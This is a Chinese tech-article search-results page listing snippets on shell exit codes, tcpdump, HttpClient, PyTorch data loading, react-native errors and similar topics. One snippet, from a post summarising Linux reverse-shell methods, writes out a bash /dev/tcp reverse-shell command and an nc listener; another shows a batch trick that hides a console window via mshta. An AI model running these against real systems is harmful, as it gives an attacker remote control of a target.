码迷,mamicode.com
首页 >  
搜索关键字:shell awk cat    ( 54363个结果)
Shell中退出状态码exit
shell中运行的每个命令都使用退出状态码(exit status)来告诉shell它完成了处理。退出状态码是一个0~255之间的整数值,在命令结束时由命令传回shell。 1 .查看退出状态码 Linux提供了$?专属变量保存上一个执行的命令的退出状态码。你可以在你运行一个命令之后查看(echo ...
分类:系统相关   时间:2020-04-10 00:59:41    阅读次数:222
HttClient工具使用
1、导入依赖 <!--httpclient--> <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.5.3</version> </depe ...
分类:其他好文   时间:2020-04-10 00:30:52    阅读次数:67
Shell编程中的用户输入处理
Linux read命令用于从标准输入读取数值。 read 内部命令被用来从标准输入读取单行数据。这个命令可以用来读取键盘输入,当使用重定向的时候,可以读取文件中的一行数据。 语法 read [-ers] [-a aname] [-d delim] [-i text] [-n nchars] [-N ...
分类:系统相关   时间:2020-04-10 00:15:31    阅读次数:144
tcpdump简单用法
1、环境说明 [root@localhost ~]# cat /etc/redhat-releaseRed Hat Enterprise Linux Server release 7.0 (Maipo) [root@localhost ~]# tcpdump -htcpdump version 4. ...
分类:其他好文   时间:2020-04-09 21:30:37    阅读次数:82
datasets.ImageFloder
一个通用的数据加载器,数据集中的数据以以下方式组织 root/dog/xxx.png root/dog/xxy.png root/dog/xxz.png root/cat/123.png root/cat/nsdf3.png root/cat/asd932_.png 既其默认你的数据集已经自觉按照要 ...
分类:其他好文   时间:2020-04-09 20:22:57    阅读次数:136
bat文件隐藏黑窗口的形式
打开bat文件,在开头处写入 @echo off if "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit:beginREM (接着写内 ...
分类:其他好文   时间:2020-04-09 16:46:10    阅读次数:165
react-native 使用react-native run-android 启动项目 报错 Android project not found
react-native 项目意外关闭 重新启动项目 启动命令 react-native run-android 然后 项目报错 Android project not found. Are you sure this is a React Native project? If your Andro ...
分类:移动开发   时间:2020-04-09 16:42:05    阅读次数:297
Error:Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-not69mld/pysam/
使用pip命令之后报错,错误信息如下图: 提示egg_info文件错误 解决原理: 我在装载python3.6的机器上同时也安装了python2.7(软件需要),使用python 3的pip来安装python 2的git包,当然会报错。 解决代码: wget https://pypi.python. ...
分类:编程语言   时间:2020-04-09 14:14:23    阅读次数:97
解决window.history.go(-1)执行后不刷新页面的问题
在iphone上出现了window.history.go(-1)执行后不刷新页面的问题,安卓不会有这个问题。 解决方法为在返回后的页面加上: window.addEventListener('pageshow', function(e) { //如果检测到页面是从“往返缓存”中读取的,刷新页面 if ...
分类:Windows程序   时间:2020-04-09 12:53:20    阅读次数:783
Linux下几种反弹Shell方法的总结---持续更新
方法一:(bash反弹) 反弹shell命令如下: bash -i >& /dev/tcp/ip/port 0>&1 首先,使用nc在kali上监听端口: nc -lvp 7777 然后在目标机输入: bash -i >& /dev/tcp/192.168.0.30/4444 0>&1 可以看到sh ...
分类:系统相关   时间:2020-04-09 12:23:10    阅读次数:145
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!